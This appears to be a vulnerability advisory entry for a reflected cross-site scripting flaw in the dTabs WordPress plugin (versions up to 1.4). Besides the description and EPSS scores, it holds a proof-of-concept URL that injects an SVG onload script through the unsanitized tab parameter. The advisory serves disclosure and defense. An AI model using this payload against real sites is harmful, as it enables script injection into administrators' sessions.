Lucene search

K
wpexploitRan CraneWPEX-ID:B5578747-298D-4F4B-867E-46B767485A98
HistoryMar 01, 2022 - 12:00 a.m.

dTabs <= 1.4 - Reflected Cross-Site Scripting

2022-03-0100:00:00
Ran Crane
81

0.001 Low

EPSS

Percentile

40.2%

The plugin does not sanitize and escape the tab parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting.

https://example.com/wp-admin/options-general.php?page=dtabs.php&action=edit&tab="><svg/onload=alert(/XSS/)>

0.001 Low

EPSS

Percentile

40.2%

Related for WPEX-ID:B5578747-298D-4F4B-867E-46B767485A98